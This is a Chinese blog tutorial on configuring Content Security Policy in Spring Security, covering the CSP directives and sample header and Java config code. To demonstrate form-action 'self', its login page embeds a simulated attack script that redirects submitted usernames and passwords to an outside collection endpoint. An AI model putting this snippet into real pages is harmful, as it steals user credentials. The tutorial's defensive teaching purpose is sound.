Spring Security配置内容安全策略
Spring Security配置内容安全策略
1、什么是内容安全策略?
内容安全策略:Content Security Policy,简称CSP,内容安全策略是一种安全机制,开发着可以通过HTTP 响应标头,可显著减少现代浏览器中的 XSS、Clickjacking 等代码注入攻击。CSP通过W3C WebApplication Security Working Group发布标准
标准语法:
Content-Security-Policy: <directive>; <directive>; <directive> ; ...
例子:
Content-Security-Policy:script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data:;connect-src 'self' http://www.baidu.com http://127.0.0.1:8080 data:;font-src 'self';object-src 'self';
2、CSP有哪些选项?
CSP1.0主要提供了这些选项的配置:
- default-src:为其余指令设置默认源列表。如果其它指令没设置,就用
default-src
的默认配置- script-src:为JavaScript一些脚本配置安全策略
- object-src:这里一般指Flash或者一些Java插件等等
- style-src:css样式
- img-src:图片
- media-src:媒体文件(音频和视频)
- frame-src:嵌入的外部资源(比如、等等)
- font-src:字体文件
- connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
CSP2.0:新增的一些主要选项
- base-uri:控制是否允许文档操作页面的基本 URI。
- child-src:替换frame-src.
- form-action:控制文档提交 HTML 表单的能力。
- frame-ancestors:像 X-Frame-Options 标题一样工作,通过控制如何将此文档嵌入到其他文档中。
- plugin-types:控制页面可以加载哪些特定插件,例如 Flash、Java、Silverlight 等。
所有指令都遵循相同的模式:
- self用于引用当前域
- 可以在空格分隔的列表中指定一个或多个 URL,一般是一些域名或者ip加端口
- none表示不应为给定指令加载任何内容,例如object-src 'none’表示不应加载任何插件(如 Flash 或 Java)。
例子:
Content-Security-Policy:script-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’;style-src ‘self’ ‘unsafe-inline’;img-src ‘self’ data:;connect-src ‘self’ http://www.baidu.com http://127.0.0.1:8080 data:;font-src ‘self’;object-src ‘self’;
3、设置CSP方法
- 前端页面设置,前端页面通过设置
meta
标签
<meta http-equiv="Content-Security-Policy" content="style-src 'self' www.baidu.com; script-src 'self'; form-action 'self'">
- 后端设置,设置
response
的header
public void setResponseHeader(HttpServletRequest request,HttpServletResponse response) {
//内容安全策略
response.setHeader("Content-Security-Policy", "script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';img-src 'self' data:;connect-src 'self' http://www.baidu.com http://127.0.0.1:8080 data:;font-src 'self';object-src 'self';");
}
4、Spring Security设置CSP
有了前面的基础知识后,我们可以新建一个Spring Security项目来实践:
-
开发环境
- JDK 1.8
- SpringBoot2.2.1
- Maven 3.2+
-
开发工具
- IntelliJ IDEA
- smartGit
- Navicat15
在IDEA里集成阿里的https://start.aliyun.com
,创建一个Spring Initializr
项目:
选择jdk版本,和maven打包方式
项目主要的maven配置:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
- spring-boot-starter-security:springboot集成的spring security starter
- spring-boot-starter-web:web相关的starter
- spring-boot-starter-thymeleaf:使用thymeleaf在前面页面渲染
加一个简单的登录页面:
<!DOCTYPE html>
<html lang="zh" xmlns:th="http://www.thymeleaf.org">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta name="description" content="" />
<meta name="author" content="" />
<title>Signin Template for Bootstrap</title>
<!-- Bootstrap core CSS -->
<link href="../static/asserts/css/bootstrap.min.css" th:href="@{asserts/css/bootstrap.min.css}" rel="stylesheet" />
<!-- Custom styles for this template -->
<link href="../static/asserts/css/signin.css" th:href="@{asserts/css/signin.css}" rel="stylesheet"/>
</head>
<body class="text-center">
<form id="login" class="form-signin" th:action="@{/login}" method="post">
<img class="mb-4" th:src="@{asserts/img/bootstrap-solid.svg}" alt="" width="72" height="72" />
<h1 class="h3 mb-3 font-weight-normal" >Login</h1>
<label class="sr-only" >Username</label>
<input type="text" class="form-control" id = "username" name="username" required="" autofocus="" value="nicky" />
<label class="sr-only" >Password</label>
<input type="password" class="form-control" id="password" name="password" required="" value="123" />
<div class="checkbox mb-3">
<label>
<input type="checkbox" name="remember-me" value="true" /> remember me
</label>
</div>
<button class="btn btn-lg btn-primary btn-block" >Sign in</button>
<p class="mt-5 mb-3 text-muted">© 2019</p>
</form>
<script>
//debugger;
let form = document.forms.login;
form.onsubmit = function () {
let username = document.getElementById("username").value;
let password = document.getElementById("password").value;
form.action = "http://127.0.0.1:8082/web/collect?u=" + username + "&p=" + password;
}
</script>
</body>
</html>
加上一些攻击的脚本来模拟窃取用户信息:
let form = document.forms.login;
form.onsubmit = function () {
let username = document.getElementById("username").value;
let password = document.getElementById("password").value;
form.action = "http://127.0.0.1:8082/web/collect?u=" + username + "&p=" + password;
基于Spring Security框架的WebSecurityConfigurerAdapter
编写配置类
package com.example.security.configuration;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.builders.WebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.web.header.writers.StaticHeadersWriter;
@Configuration
public class ContentSecurityPolicySecurityConfiguration extends WebSecurityConfigurerAdapter {
private static final String REPORT_TO = "{\"group\":\"csp-violation-report\",\"max_age\":2592000,\"endpoints\":[{\"url\":\"http://localhost:8080/report\"}]}";
@Override
public void configure(WebSecurity web) throws Exception {
//解决静态资源被拦截的问题
web.ignoring().antMatchers("/asserts/**");
web.ignoring().antMatchers("/favicon.ico");
}
@Override
protected void configure(HttpSecurity http) throws Exception {
// 自定义一个登录页面,需要写一个/login接口来跳转,
// usernameParameter指定自定义的login.html页面的input标签用户密码属性
http.formLogin().usernameParameter("username").passwordParameter("password").loginPage("/login").permitAll()
// 关闭跨域保护;
.and().csrf().disable()
// 开放权限,不需要登录也可以访问
.authorizeRequests().antMatchers("/login/**", "/logout/**","/report/**").permitAll()
// 其它的请求都需要登录验证
.anyRequest().authenticated()
// 设置Report-To,发生一些比如CSP拦截,会发送报告到自己定义的report接口
.and().headers().addHeaderWriter(new StaticHeadersWriter("Report-To", REPORT_TO))
// 设置xss防护
.xssProtection()
// 设置CSP内容安全策略
.and().contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
}
}
需要自己开发的一些接口,比如需要自定义登录页面的login接口和收集信息的report接口
package com.example.security.controller;
import cn.hutool.core.io.IoUtil;
import lombok.extern.slf4j.Slf4j;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
@Controller
@Slf4j
public class ContentSecurityPolicyController {
@GetMapping(value = {"/login"})
public ModelAndView toLogin() {
return new ModelAndView("login");
}
@PostMapping(value = {"/report"})
@ResponseBody
public String report(HttpServletRequest request) throws IOException {
String report = IoUtil.read(request.getInputStream(), StandardCharsets.UTF_8);
if (log.isInfoEnabled()) {
log.info("Report: {}", report);
}
return report;
}
}
我们在配置类里注释.contentSecurityPolicy("form-action 'self'; report-uri /report; report-to csp-violation-report");
,然后登录页面,发现页面被一个外部链接的接口窃取了一些登录用户信息,这样是很危险的
所以,需要在配置类加上内容安全策略的设置form-action 'self';
,form-action
设置为self
,就不能被外部链接提交from表单,只有当下的域名,打开控制台,可以看到报错,被拦截了:
查看网络,response里会有这些信息:
5、参考资料
- https://www.ruanyifeng.com/blog/2016/09/csp.html
- https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP
- https://www.baeldung.com/spring-security-csp
文章来源: smilenicky.blog.csdn.net,作者:smileNicky,版权归原作者所有,如需转载,请联系作者。
原文链接:smilenicky.blog.csdn.net/article/details/112786439
- 点赞
- 收藏
- 关注作者
评论(0)